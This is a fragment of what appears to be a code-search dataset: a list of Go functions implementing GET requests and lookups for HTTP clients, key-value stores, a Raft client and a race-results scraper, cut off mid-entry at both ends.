req.GetKey()\n\tswitch req.GetType() {\n\tcase utils.LocalData:\n\t\tres, err = s.localSt.Get(ctx, key) // get the key itself, no hashes used\n\t\t// log.Println(\"All local keys in this edge group\")\n\t\t// log.Println(s.localSt.Get(ctx, \"\", clientv3.WithPrefix()))\n\tcase utils.GlobalData:\n\t\tisHashed := req.GetIsHashed()\n\t\tif s.gateway == nil {\n\t\t\treturn returnRes, fmt.Errorf(\"RangeGet request failed: gateway node not initialized at the edge\")\n\t\t}\n\t\tstate, err := s.gateway.GetStateRPC()\n\t\tif err != nil {\n\t\t\treturn returnRes, fmt.Errorf(\"failed to get state of gateway node\")\n\t\t}\n\t\tif state < dht.Ready { // could happen if gateway node was created but didnt join dht\n\t\t\treturn returnRes, fmt.Errorf(\"edge node %s not connected to dht yet or gateway node not ready\", s.print())\n\t\t}\n\t\t// log.Println(\"All global keys in this edge group\")\n\t\t// log.Println(s.globalSt.Get(ctx, \"\", clientv3.WithPrefix()))\n\t\tif !isHashed {\n\t\t\tkey = s.gateway.Conf.IDFunc(key)\n\t\t}\n\t\tans, er := s.gateway.CanStoreRPC(key)\n\t\tif er != nil {\n\t\t\tlog.Fatalf(\"Get request failed: communication with gateway node failed\")\n\t\t}\n\t\tif ans {\n\t\t\tres, err = s.globalSt.Get(ctx, key)\n\t\t} else {\n\t\t\tval, err = s.gateway.GetKVRPC(key)\n\t\t}\n\t}\n\t// cancel()\n\treturnErr = checkError(err)\n\tif (res != nil) && (returnErr == nil) {\n\t\t// TODO: what if Kvs returns more than one kv-pair, is that possible?\n\t\tif len(res.Kvs) > 0 {\n\t\t\tkv := res.Kvs[0]\n\t\t\tval = string(kv.Value)\n\t\t\t// log.Printf(\"Key: %s, Value: %s\\n\", kv.Key, kv.Value)\n\t\t\treturnRes = &pb.GetResponse{Value: val, Size: int32(len(val))}\n\t\t} else {\n\t\t\treturnErr = status.Errorf(codes.NotFound, \"Key Not Found: %s\", req.GetKey())\n\t\t}\n\t} else {\n\t\tif returnErr == nil {\n\t\t\t// we already have the value from a remote group\n\t\t\treturnRes = &pb.GetResponse{Value: val, Size: int32(len(val))}\n\t\t}\n\t}\n\treturn returnRes, returnErr\n}","func (tr *Transport) GET(\n\turi string,\n\tfn Handler,\n\toptions ...HandlerOption,\n) {\n\ttr.mux.Handler(\n\t\tnet_http.MethodGet,\n\t\turi,\n\t\tnewHandler(fn, append(tr.options, options...)...),\n\t)\n}","func getTime() (string, error) {\n\t// prepare a new request\n\treq, err := http.NewRequest(\"GET\", url, nil)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// set the credentials for basic auth\n\treq.SetBasicAuth(Username, Password)\n\n\t// create a new http client\n\tcli := http.Client{}\n\n\t// send the request and grab the response\n\tres, err := cli.Do(req)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer res.Body.Close()\n\n\t// if the request was not successfull, return an error\n\tif res.StatusCode != 200 {\n\t\treturn \"\", fmt.Errorf(\"unexpected status code %d\", res.StatusCode)\n\t}\n\n\t// read and return the response body\n\tbody, err := ioutil.ReadAll(res.Body)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(body), nil\n}","func Get(path string, fn http.HandlerFunc, c ...alice.Constructor) {\n\trecord(\"GET\", path)\n\n\tinfoMutex.Lock()\n\tr.GET(path, Handler(alice.New(c...).ThenFunc(fn)))\n\tinfoMutex.Unlock()\n}","func get(stub shim.ChaincodeStubInterface, voteType string) peer.Response {\n\t// Holds a string for the response\n\tvar votes string\n\n\t// Local variables for value & error\n\tvar get_value []byte\n\tvar err error\n\t\n\tif get_value, err = stub.GetState(voteType); err != nil {\n\n\t\tfmt.Println(\"Get Failed!!! \", err.Error())\n\n\t\treturn shim.Error((\"Get Failed!! \"+err.Error()+\"!!!\"))\n\n\t} \n\n\t// nil indicates non existent key\n\tif (get_value == nil) {\n\t\tvotes = \"-1\"\n\t} else {\n\t\tvotes = string(get_value)\n\t}\n\n\tfmt.Println(votes)\n\t\n\treturn shim.Success(get_value)\n}","func (m *MockClient) Get(url string) (*http.Response, error) {\n\treturn GetFunc(url)\n}","func (c *Client) Get(key paxi.Key) (paxi.Value, error) {\n\tc.HTTPClient.CID++\n\tif *readLeader {\n\t\treturn c.readLeader(key)\n\t} else if *readQuorum {\n\t\treturn c.readQuorum(key)\n\t} else {\n\t\treturn c.HTTPClient.Get(key)\n\t}\n}","func (c *Case) GET(p string) *RequestBuilder {\n\treturn &RequestBuilder{\n\t\tmethod: http.MethodGet,\n\t\tpath: p,\n\t\tcas: c,\n\t\tfail: c.fail,\n\t}\n}","func (t *TeamsService) Get(teamID int) (*TeamResponse, *simpleresty.Response, error) {\n\tvar result *TeamResponse\n\turlStr := t.client.http.RequestURL(\"/team/%d\", teamID)\n\n\t// Set the correct authentication header\n\tt.client.setAuthTokenHeader(t.client.accountAccessToken)\n\n\t// Execute the request\n\tresponse, getErr := t.client.http.Get(urlStr, &result, nil)\n\n\treturn result, response, getErr\n}","func (client *Instance) GET() (statusCode int, body []byte, err error) {\n\tapi, err := client.nextServer()\n\tif err != nil {\n\t\treturn 0, nil, err\n\t}\n\treturn api.HostClient.Get(nil, api.Addr)\n}","func (cli *Client) Get(targetURL *url.URL) {\n\tvar resp *resty.Response\n\tvar err error\n\n\tif cli.Config.Oauth2Enabled {\n\t\tresp, err = resty.R().\n\t\t\tSetHeader(\"Authorization\", fmt.Sprintf(\"Bearer %s\", cli.AccessToken)).\n\t\t\tGet(targetURL.String())\n\t} else {\n\t\tresp, err = resty.R().Get(targetURL.String())\n\t}\n\tif err != nil {\n\t\tfmt.Printf(\"ERR: Could not GET request, caused by: %s\\n\", err)\n\t\tos.Exit(1)\n\t}\n\tfmt.Print(resp)\n}","func Get(key string) (string, error) {\n\treturn client.Get(key).Result()\n}","func Get(c *gophercloud.ServiceClient, idOrURL string) (r GetResult) {\n\tvar url string\n\tif strings.Contains(idOrURL, \"/\") {\n\t\turl = idOrURL\n\t} else {\n\t\turl = getURL(c, idOrURL)\n\t}\n\tresp, err := c.Get(url, &r.Body, nil)\n\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\n\treturn\n}","func (c *Client) get(url string, query url.Values) (json.RawMessage, error) {\n\treq, err := http.NewRequest(http.MethodGet, url, nil)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not create get request\")\n\t}\n\treq.URL.RawQuery = query.Encode()\n\tres, err := c.client.Do(req)\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"cound not get %v\", url)\n\t}\n\tdefer res.Body.Close()\n\tvar resp response\n\tif err := json.NewDecoder(res.Body).Decode(&resp); err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not decode response\")\n\t}\n\tif resp.Code != 0 {\n\t\treturn nil, errors.Errorf(\"get response code %d\", resp.Code)\n\t}\n\treturn resp.Data, nil\n}","func Get (url string, args map[string]string) (*http.Response, error) {\n\t// create a client\n\tclient, req, _ := GetHttpClient(url)\n\t// build the query\n\tif len(args) > 0 {\n\t\treq = buildQuery(req, args)\n\t}\n\t// execute the request\n\t//fmt.Println(req.URL.String())\n\treturn client.Do(req)\n}","func GET(key string) (value string, err error) {\n\tconn := pool.Get()\n\tdefer conn.Close()\n\tvalue, err = redis.String(conn.Do(\"GET\", key))\n\treturn\n}","func (a *appService) getTravel(c *fiber.Ctx) error {\n\tid := c.Params(\"id\")\n\tif id == \"\" {\n\t\treturn response(nil, http.StatusUnprocessableEntity, errors.New(\"id is not defined\"), c)\n\t}\n\tctx, cancel := context.WithTimeout(context.Background(), 20*time.Second)\n\tdefer cancel()\n\n\ttravel, err := a.Repository.findOne(ctx, id)\n\treturn response(travel, http.StatusOK, err, c)\n}","func (ck *Clerk) Get(key string) string {\n\tDPrintf(\"CLIENT starting get of %s\\n\", key)\n\targs := GetArgs{key, nrand()}\n\ti := ck.leader\n\tfor {\n\t\tvar reply GetReply\n\t\tDPrintf(\"CLIENT %d TRYING TO CALL GET on server %d for key %s\\n\", ck.id, i, key)\n\t\tdone := make(chan bool)\n\t\tgo func() {\n\t\t\tok := ck.servers[i].Call(\"RaftKV.Get\", &args, &reply)\n\t\t\tif ok {\n\t\t\t\tdone <- true\n\t\t\t}\n\t\t}()\n\t\tselect {\n\t\tcase <-done:\n\t\t\tDPrintf(\"CLIENT %d GOT GET REPLY from server %d to get %s: %+v\\n\", ck.id, i, key, reply)\n\t\t\tif reply.WrongLeader {\n\t\t\t\ti = (i + 1) % len(ck.servers)\n\t\t\t} else if reply.Err == ErrNoKey {\n\t\t\t\treturn \"\"\n\t\t\t} else if reply.Err == ErrLostAction {\n\t\t\t\t// retry this server because its the leader\n\t\t\t} else if reply.Err == OK {\n\t\t\t\tck.leader = i\n\t\t\t\tDPrintf(\"CLIENT %d SET LEADER TO %d\\n\", ck.id, i)\n\t\t\t\treturn reply.Value\n\t\t\t}\n\t\tcase <-time.After(500 * time.Millisecond):\n\t\t\tDPrintf(\"CLIENT %d TIMED OUT ON GET REQUEST for server %d and key %s\", ck.id, i, key)\n\t\t\ti = (i + 1) % len(ck.servers)\n\t\t}\n\t}\n}","func (c *RESTClient) Get(ctx context.Context) (string, error) {\n\treq, err := http.NewRequest(http.MethodGet, c.Config.Addr, nil)\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, \"bad request\")\n\t}\n\treq.Header.Set(\"Accept\", \"text/plain\")\n\tresp, err := c.Do(req)\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, \"HTTP GET failed\")\n\t}\n\tbb, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, \"could not read response\")\n\t}\n\tdefer resp.Body.Close()\n\treturn string(bb), nil\n}"],"string":"[\n \"func getRace(w http.ResponseWriter, r *http.Request) {\\n core_module.SetHeaders(&w)\\n\\n params := mux.Vars(r)\\n idParam, _ := strconv.ParseUint(params[\\\"id\\\"], 10, 16)\\n\\n race := &DndRace{ID: uint(idParam)}\\n err := core_module.Db.Model(race).WherePK().Select()\\n\\n if err != nil {\\n w.WriteHeader(http.StatusBadRequest)\\n json.NewEncoder(w).Encode(&core_module.CoreException{\\n Message: \\\"Could not fetch!\\\",\\n })\\n log.Println(err)\\n return\\n }\\n json.NewEncoder(w).Encode(race)\\n}\",\n \"func (c *Client) Get(route string, queryValues map[string]string) (*RawResponse, error) {\\n return c.doRequest(\\\"GET\\\", route, queryValues, nil)\\n}\",\n \"func (c *SLOClient) Get(ctx context.Context, request SLOClientGetRequest) (*SLOResult, error) {\\n\\terr := NewTimeframeDelay(request.timeframe, SLORequiredDelay, SLOMaximumWait).Wait(ctx)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tbody, err := c.client.Get(ctx, request.RequestString())\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tvar result SLOResult\\n\\terr = json.Unmarshal(body, &result)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\t// for SLO - its also possible that there is an HTTP 200 but there is an error text in the error property!\\n\\t// Since Sprint 206 the error property is always there - but - will have the value \\\"NONE\\\" in case there is no actual error retrieving the value\\n\\tif result.Error != \\\"NONE\\\" {\\n\\t\\treturn nil, fmt.Errorf(\\\"Dynatrace API returned an error: %s\\\", result.Error)\\n\\t}\\n\\n\\treturn &result, nil\\n}\",\n \"func (c *Client) Get(route string) (io.ReadCloser, error) {\\n\\t// Prepare HTTP request\\n\\treq, err := http.NewRequest(\\\"GET\\\", c.url+route, nil)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\t// Do the request over the default client\\n\\treturn c.performRequest(req)\\n}\",\n \"func (c *Client) CurrentRiverRace(tag string) (race RiverRace, err error) {\\n\\tvar b []byte\\n\\tpath := \\\"/clans/%23\\\" + strings.ToUpper(tag) + \\\"/currentriverrace\\\"\\n\\tif b, err = c.get(path, map[string][]string{}); err == nil {\\n\\t\\terr = json.Unmarshal(b, &race)\\n\\t}\\n\\treturn\\n}\",\n \"func (f5 *f5LTM) get(url string, result interface{}) error {\\n\\treturn f5.restRequest(\\\"GET\\\", url, nil, result)\\n}\",\n \"func getRaces(w http.ResponseWriter, r *http.Request) {\\n core_module.SetHeaders(&w)\\n\\n races := []DndRace{}\\n err := core_module.Db.Model(&races).Select()\\n\\n if err != nil {\\n w.WriteHeader(http.StatusBadRequest)\\n json.NewEncoder(w).Encode(&core_module.CoreException{\\n Message: \\\"Could not fetch!\\\",\\n })\\n log.Println(err)\\n return\\n }\\n\\n json.NewEncoder(w).Encode(races)\\n}\",\n \"func (c *Client) Get(url string, resType interface{}) error {\\n\\treturn c.CallAPI(\\\"GET\\\", url, nil, resType, true)\\n}\",\n \"func httpGet(url string, details *RunDetails) string {\\n\\tfmt.Printf(\\\"INFO: Performing http get from '%s'\\\\n\\\", url)\\n\\ttimeout := 120\\n\\n\\tval := details.Getenv(v1.EnvVarOperatorTimeout)\\n\\tif val != \\\"\\\" {\\n\\t\\tt, err := strconv.Atoi(val)\\n\\t\\tif err == nil {\\n\\t\\t\\ttimeout = t\\n\\t\\t} else {\\n\\t\\t\\tfmt.Printf(\\\"ERROR: Invalid value set for %s '%s' using default of 120\\\\n\\\", v1.EnvVarOperatorTimeout, val)\\n\\t\\t}\\n\\t}\\n\\n\\tclient := http.Client{\\n\\t\\tTimeout: time.Duration(timeout) * time.Second,\\n\\t}\\n\\n\\tresp, err := client.Get(url)\\n\\tif err != nil {\\n\\t\\tfmt.Printf(\\\"ERROR: failed to get url %s - %s\\\\n\\\", url, err.Error())\\n\\t\\treturn \\\"\\\"\\n\\t}\\n\\t//noinspection GoUnhandledErrorResult\\n\\tdefer resp.Body.Close()\\n\\n\\tif resp.StatusCode != 200 {\\n\\t\\tfmt.Printf(\\\"ERROR: filed to get 200 response from %s - %s\\\\n\\\", url, resp.Status)\\n\\t\\treturn \\\"\\\"\\n\\t}\\n\\n\\tbody, err := ioutil.ReadAll(resp.Body)\\n\\tif err != nil {\\n\\t\\tfmt.Printf(\\\"ERROR: filed to read response body from %s - %s\\\\n\\\", url, resp.Status)\\n\\t\\treturn \\\"\\\"\\n\\t}\\n\\n\\ts := string(body)\\n\\tfmt.Printf(\\\"INFO: Get response from '%s' was '%s'\\\\n\\\", url, s)\\n\\treturn s\\n}\",\n \"func (r a) GetSpecific(engagementRef string) (*http.Response, []byte) {\\n return r.client.Get(\\\"/tasks/v2/tasks/contracts/\\\" + engagementRef, nil)\\n}\",\n \"func (t *RPCCtx) Get(w http.ResponseWriter, r *http.Request) {\\n\\tt.Log.Handle(w, r, nil, \\\"begin\\\", \\\"RPCCtx\\\", \\\"Get\\\")\\n\\n\\treqCtx := r.Context()\\n\\twhatever := reqCtx\\n\\n\\tt.embed.Get(whatever)\\n\\n\\tw.WriteHeader(200)\\n\\n\\tt.Log.Handle(w, r, nil, \\\"end\\\", \\\"RPCCtx\\\", \\\"Get\\\")\\n\\n}\",\n \"func Get(webURL string, params map[string]string) (string, error) {\\n\\tif params != nil || len(params) > 0 {\\n\\t\\tvar paramArr []string\\n\\t\\tfor k, v := range params {\\n\\t\\t\\tparamArr = append(paramArr, k+\\\"=\\\"+v)\\n\\t\\t}\\n\\t\\twebURL = webURL + \\\"?\\\" + strings.Join(paramArr, \\\"&\\\")\\n\\t}\\n\\trequest, err := http.NewRequest(http.MethodGet, webURL, nil)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\trequest.Header.Set(\\\"Content-Type\\\", \\\"x-www-form-urlencoded\\\")\\n\\trequest.Header.Set(\\\"User-Agent\\\", userAgent)\\n\\tresp, err := client.Do(request)\\n\\tif resp != nil {\\n\\t\\tdefer resp.Body.Close()\\n\\t}\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\tbody, err := ioutil.ReadAll(resp.Body)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\treturn string(body), err\\n}\",\n \"func runGet(cmd *cobra.Command, args []string) error {\\n\\tverb := \\\"GET\\\"\\n\\turl := \\\"/v1/pattern\\\"\\n\\n\\tif get.ptype != \\\"\\\" {\\n\\t\\turl += \\\"/\\\" + get.ptype\\n\\t}\\n\\n\\tresp, err := web.Request(cmd, verb, url, nil)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tcmd.Printf(\\\"\\\\n%s\\\\n\\\\n\\\", resp)\\n\\treturn nil\\n}\",\n \"func Get(rURL string, params map[string]string) (io.ReadCloser, error) {\\n\\n\\t// Prepare GET request\\n\\treq, err := http.NewRequest(\\\"GET\\\", rURL, nil)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"Failed to create request: %s\\\", err)\\n\\t}\\n\\n\\t// Add request options\\n\\treq.Header.Add(\\\"Accept\\\", \\\"application/json\\\")\\n\\tq := req.URL.Query()\\n\\n\\tfor k, v := range params {\\n\\t\\tq.Add(k, v)\\n\\t}\\n\\treq.URL.RawQuery = q.Encode()\\n\\n\\t// Send the request\\n\\tresp, err := http.DefaultClient.Do(req)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"Failed to send request to the server: %s\\\", err)\\n\\t}\\n\\treturn resp.Body, nil\\n}\",\n \"func (session *Session) Get(path string, params Params) (response []byte, err error) {\\n\\turlStr := session.getUrl(path, params)\\n\\tlog.Println(urlStr)\\n\\tresponse, err = session.sendGetRequest(urlStr)\\n\\treturn\\n\\n\\t//res, err = MakeResult(response)\\n\\t//return\\n\\n}\",\n \"func (c *Client) Get(rawurl string, out interface{}) error {\\n\\treturn c.Do(rawurl, \\\"GET\\\", nil, out)\\n}\",\n \"func (t *TestRuntime) GetData(url string) (io.ReadCloser, error) {\\n\\treturn t.request(\\\"GET\\\", url, nil)\\n}\",\n \"func (client *Client) Get(\\n\\turl string,\\n\\tparams url.Values,\\n\\toptions ...interface{},\\n) (io.ReadCloser, int, error) {\\n\\treply, err := client.request(\\\"GET\\\", url, params, nil, options...)\\n\\tif err != nil {\\n\\t\\treturn nil, 0, err\\n\\t}\\n\\n\\treturn reply.Body, reply.StatusCode, nil\\n}\",\n \"func GetResultByPath(path string, proxy string) *Race {\\n\\n\\tvar datetime *time.Time = nil\\n\\tvar types *RaceType = nil\\n\\n\\tdistance := float64(-1)\\n\\twinner := float64(-1)\\n\\tcurrency := \\\"\\\"\\n\\tracecourse := \\\"\\\"\\n\\ttRT := \\\"\\\"\\n\\tgoing := \\\"\\\"\\n\\n\\treplacer := strings.NewReplacer(\\\"(\\\", \\\"\\\", \\\")\\\", \\\"\\\")\\n\\n\\tdoc := get(path, proxy)\\n\\n\\tif res, err := time.Parse(\\\"15:04 Monday 02 January 2006Z-0700\\\", strings.TrimSpace(doc.Find(\\\"h2.rp-header-text[title='Date and time of race']\\\").First().Text())+\\\"Z+0100\\\"); err == nil {\\n\\n\\t\\tt := res.In(time.UTC)\\n\\n\\t\\tdatetime = &t\\n\\t}\\n\\n\\ttitle := strings.TrimSpace(doc.Find(\\\"h3.rp-header-text[title='Race title']\\\").First().Text())\\n\\n\\tcategory := strings.ToUpper(strings.TrimSpace(doc.Find(\\\"span[title='The type of race']\\\").First().Text()))\\n\\tsurface := strings.ToUpper(strings.TrimSpace(doc.Find(\\\"span[title='Surface of the race']\\\").First().Text()))\\n\\n\\ttRCN := strings.TrimSpace(doc.Find(\\\"h1[title='Racecourse name']\\\").First().Text())\\n\\n\\tclass := raceClassFromTitle(title)\\n\\n\\trt := raceTypeFromTitle(title)\\n\\n\\ttypes = &rt\\n\\n\\ttRT = raceTypeToString(rt)\\n\\n\\tif c, w, err := winnerAndCurrency(strings.TrimSpace(doc.Find(\\\"span[title='Prize money to winner']\\\").First().Text())); err {\\n\\n\\t\\tcurrency = c\\n\\t\\twinner = w\\n\\n\\t}\\n\\n\\tif res, err := distanceToMeters(doc.Find(\\\"span[title='Distance expressed in miles, furlongs and yards']\\\").Text()); err == nil {\\n\\n\\t\\tdistance = res\\n\\t}\\n\\n\\tif r := regexp.MustCompile(`[0-9]+:[0-9]+$`).FindStringIndex(tRCN); len(r) > 0 {\\n\\n\\t\\tracecourse = nameRacecourse(strings.ToUpper(strings.TrimSpace(tRCN[:r[0]])))\\n\\t}\\n\\n\\tif g, err := convertGoingToAbbreviation(strings.ToUpper(strings.TrimSpace(doc.Find(\\\"span[title='Race going']\\\").First().Text()))); err {\\n\\t\\tgoing = g\\n\\t}\\n\\n\\trunners := make(map[int64]Runner, 0)\\n\\n\\tdoc.Find(\\\"table tbody.rp-table-row\\\").Each(func(i int, s *goquery.Selection) {\\n\\n\\t\\tisp := float64(-1)\\n\\t\\tnum := int64(-1)\\n\\t\\tdraw := int64(-1)\\n\\t\\tage := int64(-1)\\n\\t\\trating := int64(-1)\\n\\t\\thorseID := int64(-1)\\n\\t\\tjockeyID := int64(-1)\\n\\t\\ttrainerID := int64(-1)\\n\\n\\t\\tpos := strings.ToUpper(strings.TrimSpace(s.Find(\\\"span.rp-entry-number\\\").First().Text()))\\n\\t\\thorse := \\\"\\\"\\n\\n\\t\\tsHORSE := s.Find(\\\"a.rp-horse\\\").First()\\n\\t\\ttHORSE := sHORSE.Text()\\n\\n\\t\\tsJOCKEY := s.Find(\\\"a[title='Jockey']\\\").First()\\n\\t\\tjockey := strings.ToUpper(strings.TrimSpace(sJOCKEY.Text()))\\n\\n\\t\\tsTRAINER := s.Find(\\\"a[title='Trainer']\\\").First()\\n\\t\\ttrainer := strings.ToUpper(strings.TrimSpace(sTRAINER.Text()))\\n\\n\\t\\tif i, err := strconv.ParseInt(strings.TrimSpace(replacer.Replace(s.Find(\\\"span.rp-draw\\\").First().Text())), 10, 64); err == nil {\\n\\t\\t\\tdraw = i\\n\\t\\t}\\n\\n\\t\\tif h, err := sHORSE.Attr(\\\"href\\\"); err {\\n\\n\\t\\t\\tif r := regexp.MustCompile(`\\\\/[0-9]+$`).FindStringIndex(h); len(r) > 0 {\\n\\n\\t\\t\\t\\tif i, err := strconv.ParseInt(h[r[0]+1:r[1]], 10, 64); err == nil {\\n\\n\\t\\t\\t\\t\\thorseID = i\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\tif r := regexp.MustCompile(`^\\\\s*[0-9]+`).FindStringIndex(tHORSE); len(r) > 0 {\\n\\n\\t\\t\\thorse = strings.TrimSpace(tHORSE[r[1]+1:])\\n\\n\\t\\t\\tif i, err := strconv.ParseInt(tHORSE[r[0]:r[1]], 10, 64); err == nil {\\n\\n\\t\\t\\t\\tnum = i\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\tif h, err := sJOCKEY.Attr(\\\"href\\\"); err {\\n\\n\\t\\t\\tif r := regexp.MustCompile(`\\\\/[0-9]+$`).FindStringIndex(h); len(r) > 0 {\\n\\n\\t\\t\\t\\tif i, err := strconv.ParseInt(h[r[0]+1:r[1]], 10, 64); err == nil {\\n\\n\\t\\t\\t\\t\\tjockeyID = i\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\tif h, err := sTRAINER.Attr(\\\"href\\\"); err {\\n\\n\\t\\t\\tif r := regexp.MustCompile(`\\\\/[0-9]+$`).FindStringIndex(h); len(r) > 0 {\\n\\n\\t\\t\\t\\tif i, err := strconv.ParseInt(h[r[0]+1:r[1]], 10, 64); err == nil {\\n\\n\\t\\t\\t\\t\\ttrainerID = i\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\tif res, err := strconv.ParseInt(strings.TrimSpace(s.Find(\\\"td[title='Horse age']\\\").Text()), 10, 64); err == nil {\\n\\t\\t\\tage = res\\n\\t\\t}\\n\\n\\t\\tif res, err := strconv.ParseInt(strings.TrimSpace(replacer.Replace(s.Find(\\\"td.rp-ageequip-hide[title='Official rating given to this horse']\\\").Text())), 10, 64); err == nil {\\n\\n\\t\\t\\trating = res\\n\\t\\t}\\n\\n\\t\\tif res, err := strconv.ParseFloat(strings.TrimSpace(s.Find(\\\"td.rp-result-sp span.price-decimal\\\").First().Text()), 64); err == nil {\\n\\n\\t\\t\\tisp = res\\n\\t\\t}\\n\\n\\t\\twgt := wgtToKg(s.Find(\\\"tr:nth-child(1) > td:nth-child(13)\\\").Text())\\n\\n\\t\\tif isp > 1 && wgt > 0 && num > 0 && age > 0 && horseID > 0 && jockeyID > 0 && trainerID > 0 && len(pos) > 0 && len(pos) > 0 && len(horse) > 0 && len(jockey) > 0 && len(trainer) > 0 {\\n\\n\\t\\t\\trunners[num] = Runner{\\n\\t\\t\\t\\tIsp: isp,\\n\\t\\t\\t\\tWgt: wgt,\\n\\t\\t\\t\\tNumber: num,\\n\\t\\t\\t\\tDraw: draw,\\n\\t\\t\\t\\tAge: age,\\n\\t\\t\\t\\tRating: rating,\\n\\t\\t\\t\\tHorseID: horseID,\\n\\t\\t\\t\\tJockeyID: jockeyID,\\n\\t\\t\\t\\tTrainerID: trainerID,\\n\\t\\t\\t\\tPos: pos,\\n\\t\\t\\t\\tHorse: horse,\\n\\t\\t\\t\\tJockey: jockey,\\n\\t\\t\\t\\tTrainer: trainer,\\n\\t\\t\\t}\\n\\t\\t}\\n\\t})\\n\\n\\tif datetime != nil && types != nil && distance > 0 && len(title) > 0 && len(currency) > 0 && winner > 0 && len(tRT) > 0 && len(category) > 0 && len(racecourse) > 0 && len(going) > 0 && len(runners) > 0 {\\n\\n\\t\\trace := Race{\\n\\t\\t\\tDatetime: *datetime,\\n\\t\\t\\tDistance: distance,\\n\\t\\t\\tClass: class,\\n\\t\\t\\tTitle: title,\\n\\t\\t\\tCurrency: currency,\\n\\t\\t\\tWinner: winner,\\n\\t\\t\\tRaceType: tRT,\\n\\t\\t\\tCategory: category,\\n\\t\\t\\tSurface: surface,\\n\\t\\t\\tRacecourse: racecourse,\\n\\t\\t\\tGoing: going,\\n\\t\\t\\tTypes: *types,\\n\\t\\t\\tRunners: runners,\\n\\t\\t}\\n\\n\\t\\treturn &race\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (c *Client) doGet(rsrc string) ([]byte, error) {\\n\\tvar (\\n\\t\\tbody []byte\\n\\t\\terr error\\n\\t\\tresp *http.Response\\n\\t)\\n\\n\\tif resp, err = c.httpC.Get(c.formURL(rsrc)); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tif resp.StatusCode != http.StatusOK {\\n\\t\\treturn nil, core.Errorf(\\\"Response status: %q. Response Body: %+v\\\", resp.Status, resp.Body)\\n\\t}\\n\\n\\tif body, err = ioutil.ReadAll(resp.Body); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn body, nil\\n}\",\n \"func (api *API) GetLeague(ctx context.Context, leagueID string, page int) (*models.Resource, error) {\\n\\tmethod := \\\"GET\\\"\\n\\tpageString := strconv.Itoa(page)\\n\\tpath := api.URI + \\\"/leagues-classic/\\\" + leagueID + \\\"/standings/?page_standings=\\\" + pageString\\n\\tlogData := log.Data{\\\"url\\\": path, \\\"method\\\": method}\\n\\n\\tURL, err := url.Parse(path)\\n\\tif err != nil {\\n\\t\\tlog.Event(ctx, \\\"failed to create url for api call\\\", log.ERROR, log.Error(err), logData)\\n\\t\\treturn nil, err\\n\\t}\\n\\tpath = URL.String()\\n\\tlogData[\\\"url\\\"] = path\\n\\n\\tbody, err := api.makeGetRequest(ctx, method, path)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tdefer body.Close()\\n\\n\\tvar resource models.Resource\\n\\tif err := json.NewDecoder(body).Decode(&resource); err != nil {\\n\\t\\tlog.Event(ctx, \\\"unable to unmarshal bytes into league resource\\\", log.ERROR, log.Error(err), logData)\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\t// Check and retrieve other pages\\n\\tif resource.Standings != nil && resource.Standings.HasNext {\\n\\t\\tpage++\\n\\t\\tnext, err := api.GetLeague(ctx, leagueID, page)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\n\\t\\tresource.Standings.Results = append(resource.Standings.Results, next.Standings.Results...)\\n\\t}\\n\\n\\tlog.Event(ctx, \\\"successfully got league\\\", log.INFO, log.Data{\\\"resource\\\": resource})\\n\\n\\treturn &resource, nil\\n}\",\n \"func Get(url, token string) {\\n\\t// Create a Resty Client\\n\\tclient := resty.New()\\n\\tclient.SetAuthToken(token)\\n\\n\\tresp, err := client.R().\\n\\t\\tEnableTrace().\\n\\t\\tGet(url)\\n\\n\\t// Explore response object\\n\\tfmt.Println(\\\"Response Info:\\\")\\n\\tfmt.Println(\\\" Error :\\\", err)\\n\\tfmt.Println(\\\" Status Code:\\\", resp.StatusCode())\\n\\tfmt.Println(\\\" Status :\\\", resp.Status())\\n\\tfmt.Println(\\\" Proto :\\\", resp.Proto())\\n\\tfmt.Println(\\\" Time :\\\", resp.Time())\\n\\tfmt.Println(\\\" Received At:\\\", resp.ReceivedAt())\\n\\tfmt.Println(\\\" Body :\\\\n\\\", resp)\\n\\tfmt.Println()\\n}\",\n \"func (client *Client) Get(action string, params url.Values, header http.Header) (*Response, error) {\\r\\n\\treturn client.Request(\\\"GET\\\", action, params, header, nil)\\r\\n}\",\n \"func Get(url string, r io.Reader, w io.Writer, clientGenerator func() *http.Client, reqTuner ...func(*http.Request)) error {\\n\\treturn Request(\\\"GET\\\", url, r, w, clientGenerator, reqTuner...)\\n}\",\n \"func (c *Client) Get(url string, headers map[string]string, params map[string]interface{}) (*APIResponse, error) {\\n\\tfinalURL := c.baseURL + url\\n\\tr, err := http.NewRequest(\\\"GET\\\", finalURL, nil)\\n\\tif err != 